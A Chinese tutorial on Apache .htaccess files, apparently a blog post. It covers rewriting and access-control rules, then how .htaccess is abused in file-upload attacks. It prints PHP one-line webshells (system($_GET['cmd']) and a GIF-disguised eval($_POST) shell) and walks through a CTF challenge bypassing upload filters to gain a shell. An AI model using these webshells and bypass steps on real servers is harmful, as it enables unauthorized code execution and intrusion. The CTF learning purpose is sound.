.htaccess文件的组成、用法及作用详解

.htaccess(Hypertext Access)是 Apache 服务器的一个分布式配置文件,可以覆盖主配置文件的设置,无需重启服务器即可生效(需要管理员级别权限修改的httpd.conf文件修改后需要重启Apach服务器)它主要用于目录级的配置,是 Web 安全URL 重写服务器优化的重要工具。

1、.htaccess 文件的基本组成

.htaccess 文件是一个纯文本文件,通常包含以下类型的指令:

 常用指令类型

指令类型示例作用
认证与授权AuthType Basic密码保护目录
URL 重写RewriteRule ^old.html$ new.html [R=301]重定向或美化 URL
错误页面定制ErrorDocument 404 /404.html自定义 404 页面
禁止访问Deny from all阻止特定 IP 或用户代理访问
MIME 类型设置AddType application/x-httpd-php .php定义文件类型处理方式
缓存控制ExpiresActive On设置浏览器缓存策略
PHP 配置覆盖php_value upload_max_filesize 20M修改 PHP 运行参数(如上传限制)

2、.htaccess 的核心作用

1. URL 重写(SEO 友好 & 隐藏真实路径)

RewriteEngine On
RewriteRule ^article/([0-9]+)/?$ article.php?id=$1 [L]
  • 用户访问 /article/123/ → 实际执行 article.php?id=123

  • 常用于 WordPress、Laravel 等框架

2. 访问控制(安全防护)

# 禁止访问特定文件
<Files "config.ini">Deny from all
</Files># 屏蔽恶意 User-Agent
RewriteCond %{HTTP_USER_AGENT} (wget|curl|python) [NC]
RewriteRule .* - [F]

3. 自定义错误页面

ErrorDocument 404 /errors/404.html
ErrorDocument 500 /errors/500.html
  • 提升用户体验,避免暴露服务器信息。(了解一下即可)

4. 防止目录遍历

Options -Indexes
  • 禁止直接列出目录内容(防止敏感文件泄露)。

5. 强制 HTTPS(安全跳转)

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

6. 禁止 PHP 执行(安全防护)

<FilesMatch "\.(php|inc)$">Deny from all
</FilesMatch>
  • 常用于上传目录(如 /uploads/),防止上传 Webshell 被执行。

3、典型应用场景

1. WordPress 的 .htaccess

# BEGIN WordPress
<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteRule ^index\.php$ - [L]RewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-dRewriteRule . /index.php [L]
</IfModule>
# END WordPress

  • 实现“固定链接”(Pretty Permalinks)功能。

2. 防止图片盗链

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^https://(www\.)?yourdomain.com [NC]
RewriteRule \.(jpg|png|gif)$ - [F]

  • 只允许本站引用图片,外站访问返回 403。

3. 限制 IP 访问

Order Deny,Allow
Deny from all
Allow from 192.168.1.100

  • 仅允许特定 IP 访问目录。


4、注意事项

  1. 性能影响

    每个请求都会读取 .htaccess,高流量站点建议改用主配置文件(httpd.conf)。
  2. 语法严格

    错误的规则可能导致 500 错误,测试时建议备份原文件。
  3. 优先级

    子目录的 .htaccess 会覆盖父目录的设置。
  4. 安全风险

    错误的权限设置可能导致 .htaccess 被篡改(建议权限设为 644

5、如何测试 .htaccess 是否生效?

  1. 访问目标 URL,观察是否按规则跳转。

  2. 使用 curl 检查响应头:

    curl -I http://example.com/test

6、.htaccess文件在文件上传漏洞中的构造方法及作用详解

.htaccess文件概述

.htaccessApache服务器的一个配置文件,它允许用户针对特定目录修改服务器的配置,而无需访问主配置文件。在文件上传漏洞利用中,攻击者常利用.htaccess文件来实现恶意目的。

<1>.htaccess在文件上传漏洞中的作用

  1. 文件执行控制:通过修改文件解析规则使原本不可执行的文件(如图片)能够作为PHP等脚本执行

  2. 绕过限制绕过服务器的文件类型检查安全限制

  3. 持久化访问:为后续攻击提供持久化的后门访问

<2>常见的.htaccess构造方法

1. 修改文件解析规则

apache

AddType application/x-httpd-php .jpg .png .gif

作用:使服务器将.jpg、.png、.gif等图片文件当作PHP脚本解析执行

(比如当题目限制只能上传图片文件而没有对.htaccess文件过滤时,就可以使用这种方法进行绕过)

2. 设置PHP执行标志

apache

<FilesMatch "\.(jpg|png|gif)$">SetHandler application/x-httpd-php
</FilesMatch>

作用:匹配特定扩展名的文件,强制使用PHP处理器处理

这个暂时还没弄明白怎么运用

3. 自定义错误处理程序

apache

ErrorDocument 404 /uploads/malicious.php

作用:将404错误重定向恶意脚本,实现隐蔽访问

4. 启用PHP配置选项

apache

php_value auto_prepend_file "malicious.jpg"
php_value auto_append_file "malicious.jpg"

作用:在每个PHP文件执行前后自动包含恶意文件

5. 重写URL规则

apache

RewriteEngine On
RewriteRule ^(.*)\.jpg$ malicious.php?file=$1

作用:将访问.jpg文件的请求重定向恶意PHP脚本

总结来说就是:

假设攻击者上传了一个包含以下内容的.htaccess文件:

apache

AddType application/x-httpd-php .abc

然后上传一个名为"shell.abc"的文件,内容为:

php

<?php system($_GET['cmd']); ?>

这样,访问"shell.abc?cmd=id"就会执行系统命令。

例题
【nssctf】 GXYCTF2019 BabyUpload

开启题目后随便上传一个木马.txt文件,提示太露骨了

同样的png文件也提示露骨

然后我上传了一个muma.jpg图片,提示如下

由此可知,后端检测出上传的jpg文件中含有php代码(即后缀检测,内容也检测)

而对内容检测八成就是对php标签内容检测

所以需要将jpg中的php代码修改为Javascript的形式,如下:

GIF89a
<script language='php'>@eval($_POST["a"]);</script>

 (这串代码简洁明了的解释就是 结合GIF图像格式和PHP代码,用于绕过文件上传限制并执行恶意代码)

这里我详细记录一下这串代码的作用吧:

  • GIF89a是GIF图像文件的文件头标识。它表示这是一个GIF格式的图像文件。

  • GIF文件的文件头通常是GIF89aGIF87a,用于标识文件类型版本(这一步是为上传成功作准备的)

  • <script language='php'>

    • 这是一个HTML <script> 标签,通常用于嵌入脚本代码

    • 在这里,language='php'属性指定脚本语言为PHP。

  • @eval($_POST["a"]);

    • @eval 是PHP的一个函数,用于执行字符串中的PHP代码

    • $_POST["a"] 是一个超全局变量,表示通过POST方法递的a

    • @符号用于抑制错误信息,即使eval函数执行失败,也不会显示任何错误信息

(这一大坨都是为了后面.htaccess文件解析它作准备)

接下来上传文件后页面回显路径

说明上传成功,既然能上传,接下来只需要解决能否解析.jpg文件中的php代码就可以了

而想要解析.jpg文件中的php代码,就可以使用.htaccess文件来进行实现

接着来看步骤:
创建一个.htaccess文件,用记事本打开,写入以下内容:

AddType application/x-httpd-php .jpg .txt .png

 这条命令可以让Apach服务器在遇到.jpg .txt .png 文件时按照php文件来解析(即解析其中的php代码)

下一步  .htaccess文件配合 .jpg 文件上传

上传.htaccess 文件,响应页面如下

没错,露骨就需要抓包一下MIME类型了(Content-type

选择.htaccess文件后,抓包然后上传

点击上传

修改MIME类型允许的image/jpeg

 修改后放行,出现响应界面

页面提示.htaccess文件上传成功

这样的话就可以上传待解析的jpg文件

直接上传

可以看到此刻jpg文件也上传成功

既然路径也有了,接下来只需要拼接url访问即可

拼接访问

发现伪装的jpg文件头已显示,说明图片(php代码)解析成功

可以通过POST传参传入php语句看其是否能执行

F12键打开hackbar,利用一句话木马传入的参数执行php语句

(别搞错,上传的木马参数不一样这里就不一样。我的是a)

执行

php语句可执行, 接下来就可以连接蚁剑

打开蚁剑添加数据,填入拼接好的url,传入的参数即为连接密码(我的是a)

点击测试连接

连接成功后点击添加 。最后打开目录搜寻flag即可


总的来说

.htaccess 是 Apache 服务器的强大工具,可用于:
URL 重写(SEO 优化)
访问控制(IP/User-Agent 过滤)
安全防护(禁止目录遍历、防 PHP 执行)
自定义错误页(提升用户体验)

而在文件上传漏洞中,.htaccess文件在文件上传漏洞中常被用作"桥梁",通过修改服务器配置来绕过安全限制。

合理使用能大幅增强网站安全性和灵活性,但需注意性能影响和语法正确性,否则出现“文件因错误而无法显示”就是常态了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/900859.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

10A 大电流 DCDC 降流芯片 WD5030

10A 大电流 DCDC 降压芯片 WD5030 在电子设备的电源管理领域&#xff0c;高效稳定的 DCDC 芯片至关重要。今天我们来深入探讨一款性能卓越的 10A 大电流 DCDC 降流芯片 ——WD5030。它在众多电子应用场景中展现出了强大的优势&#xff0c;为各类设备的稳定供电提供了可靠保障。…

HCIP【路由过滤技术(详解)】

目录 1 简介 2 路由过滤方法 3 路由过滤工具 3.1 静默接口 3.2 ACL 3.3 地址前缀列表 3.4 filter-policy 3.4.1 filter-policy过滤接收路由&#xff08;以RIP为例&#xff09; 3.4.2 filter-policy过滤接收路由&#xff08;以OSPF为例&#xff09; 1 简介 路由过滤技术…

Cursor Agent 模式实现复杂工作流的编排与执行

引言 在 Dify Workflows MCP Server (TypeScript)设计与实战 文章中提到过通过 MCP 调用编排好的 Dify 工作流,那在 Cursor 中是否可以 自行实现 对应的工作流编排效果,这样可以充分的利用 Cursor 中的代码上下文,从而保证生成的代码可以更符合项目的需求,进一步降低手工…

ShopXO v2.2.4开源商城手动部署(保姆级)+异常处理

ShopXO v2.2.4开源商城手动部署(保姆级) 1.项目了解 1.1项目简洁 ShopXO国内领先企业级免费开源电商系统&#xff01; 求实进取、创新专注、自主研发、国内领先企业级电商系统解决方案。遵循MIT开源协议发布&#xff0c;无需授权、可商用、可二次开发、满足99%的电商运营需…

蓝桥杯 分解质因数(唯一分解定理)

分解质因数 题目描述 给定一个区间 [a,b][a,b]&#xff0c;请你求出区间 [a,b][a,b] 中所有整数的质因数分解。 输入描述 输入共一行&#xff0c;包含两个整数 a,ba,b。 2≤a≤b≤1032≤a≤b≤103。 输出描述 每行输出一个数的分解&#xff0c;形如 ka1a2a3⋯(a1≤a2≤a…

【C++算法】53.链表_重排链表

文章目录 题目链接&#xff1a;题目描述&#xff1a;解法C 算法代码&#xff1a; 题目链接&#xff1a; 143. 重排链表 题目描述&#xff1a; 解法 模拟 找到链表的中间节点 快慢双指针 把后面的部分逆序 双指针&#xff0c;三指针&#xff0c;头插法 合并两个链表 合并两个有…

【Java设计模式】第7章 建造者模式讲解

7-1 建造者模式讲解 1. 定义与类型 定义: 将复杂对象的构建与表示分离,使相同构建过程可创建不同表示。类型: 创建型模式。通俗解释: 分步构建含多组件的对象,流程固定但顺序灵活(如做菜时放盐顺序可变)。2. 适用场景 对象内部结构复杂(多属性或多步骤)。需将对象创建与…

本地laravel项目【dcat-admin】部署到liunx服务器

文章目录 前言一、部署流程1、数据库搬迁2、宝塔创建网站&#xff0c;配置php3、修改nginx配置4、在public目录设置软连接5、修改env配置、刷新缓存 二、其他问题1.后台登陆失败问题2.完美解决接口跨域问题 总结 前言 laravel新手记录 差不多一个月&#xff0c;总算用laravel…

医院导航系统方案:多模态三维导航引擎赋能医院智慧升级(二)

本文面向智慧医院建设方与算法研发工程师&#xff0c;聚焦解决多楼层复杂场景下的精准导航难题&#xff0c;提供从数学建模到工程落地的技术实战方案。 如需获取智慧医院导航导诊系统解决方案请前往文章最下方获取&#xff0c;如有项目合作及技术交流欢迎私信作者。 一、技术聚…

NO.84十六届蓝桥杯备战|动态规划-路径类DP|矩阵的最小路径和|迷雾森林|过河卒|方格取数(C++)

路径类dp是线性dp的⼀种&#xff0c;它是在⼀个nm的矩阵中设置⼀个⾏⾛规则&#xff0c;研究从起点⾛到终点的⽅案数、最⼩路径和或者最⼤路径和等等的问题 矩阵的最小路径和_牛客题霸_牛客网 状态表⽰&#xff1a; dp[i][j]表⽰&#xff1a;到达[i, j]位置处&#xff0c;最⼩…

openlayers入门01 -- 环境配置和初始化地图

openlayers入门 openlayers开发环境配置 1.下载VSCode 官网地址&#xff1a;https://code.visualstudio.com/ 点击Download for Windows 2.安装汉化插件和openlayers插件 搜索chinese&#xff0c;下载Chinese (Simplified) (简体中文) Language Pack 更改语言并重启 搜…

最新版DataGrip超详细图文安装教程,带补丁包(2025最新版保姆级教程)

目录 前言 一、DataGrip最新版下载 二、DataGrip安装 三、DataGrip补丁 四、运行DataGrip 前言 DataGrip 是由 JetBrains 公司开发的一款专业的跨平台数据库管理工具&#xff0c;主要用于连接、管理和操作多种主流关系型数据库及部分 NoSQL 数据库。它支持 MySQL、Postgre…

25年时代电服社招入职Verify测评SHL题库语言理解数字推理考什么?

宁德时代语言理解 语言理解部分主要考察应聘者的语言表达和逻辑思维能力&#xff0c;题型包括阅读理解、逻辑填空和语句排序。阅读理解要求应聘者快速捕捉文章的主旨和细节信息&#xff0c;能够迅速把握文章的核心观点&#xff1b;逻辑填空需要在给定的语句中填入最合适的词汇…

QML 弹窗控件:Popup的基本用法与样式

目录 引言相关阅读Popup基本属性工程结构示例实现Main.qml - 主界面SimplePopup.qml - 简单弹窗ModalPopup.qml - 模态弹窗CustomPopup.qml - 自定义样式弹窗AnimatedPopup.qml - 带动画的弹窗 总结工程下载 引言 在现代图形用户界面(GUI)开发中&#xff0c;弹窗(Popup)是一种…

SkyWalking + ELK 全链路监控系统整合指南

一、架构设计图 二、核心组件部署 1. SkyWalking 集群部署 yaml: # docker-compose-skywalking.yml version: 3.8services:oap:image: apache/skywalking-oap-server:9.7.0ports:- "11800:11800" # gRPC- "12800:12800" # HTTPenvironment:SW_STORAGE: …

DP主站如何华丽变身Modbus TCP网关!

DP主站如何华丽变身Modbus TCP网关&#xff01; 在工业自动化领域&#xff0c;Profibus DP和Modbus TCP是两种常用的通信协议。Profibus DP通常应用于制造业自动化场景&#xff0c;而Modbus TCP则广泛使用于工业自动化和楼宇自动化等领域。为了实现这两种协议之间的互联互通&a…

AI | 字节跳动 AI 中文IDE编辑器 Trae 初体验

Trae 简介与安装 &#x1f526; 什么是 Trae Trae 是大厂字节跳动出品的国内首个 AI IDE&#xff0c;深度理解中文开发场景。AI 高度集成于 IDE 环境之中&#xff0c;为你带来比 AI 插件更加流畅、准确、优质的开发体验。说是能够不用写代码&#xff0c;全靠一张嘴跟 AI 聊天…

Web3 的云基础设施正在成型,Polkadot 2.0 用三项技术改写“上链成本”

在Web3基础设施内卷加剧的今天&#xff0c;“如何以更低成本、更大灵活性部署一条高性能应用链”正成为开发者们最关心的问题。而刚刚走出“技术慢热”误区的Polkadot&#xff0c;正在用一套名为 Polkadot 2.0 的架构升级方案&#xff0c;重新定义这一问题的解法。 这套升级最…

【Linux】39.一个基础的HTTP Web服务器

文章目录 1. 实现一个基础的HTTP Web服务器1.1 功能实现&#xff1a;1.2 Log.hpp-日志记录器1.3 HttpServer.hpp-网页服务器1.4 Socket.hpp-网络通信器1.5 HttpServer.cc-服务器启动器 1. 实现一个基础的HTTP Web服务器 1.1 功能实现&#xff1a; 总体功能&#xff1a; 提供We…

沐渥科技详解氮气柜操作指南

氮气柜是一种通过持续注入高纯度氮气&#xff0c;维持柜内惰性气体环境的设备&#xff0c;用于存储半导体晶圆或其他敏感元件&#xff0c;防止氧化、吸湿和污染。氮气柜操作指南是怎样的&#xff1f;下面沐渥小编给大家介绍一下。 一、操作前准备 &#xff08;1&#xff09;安全…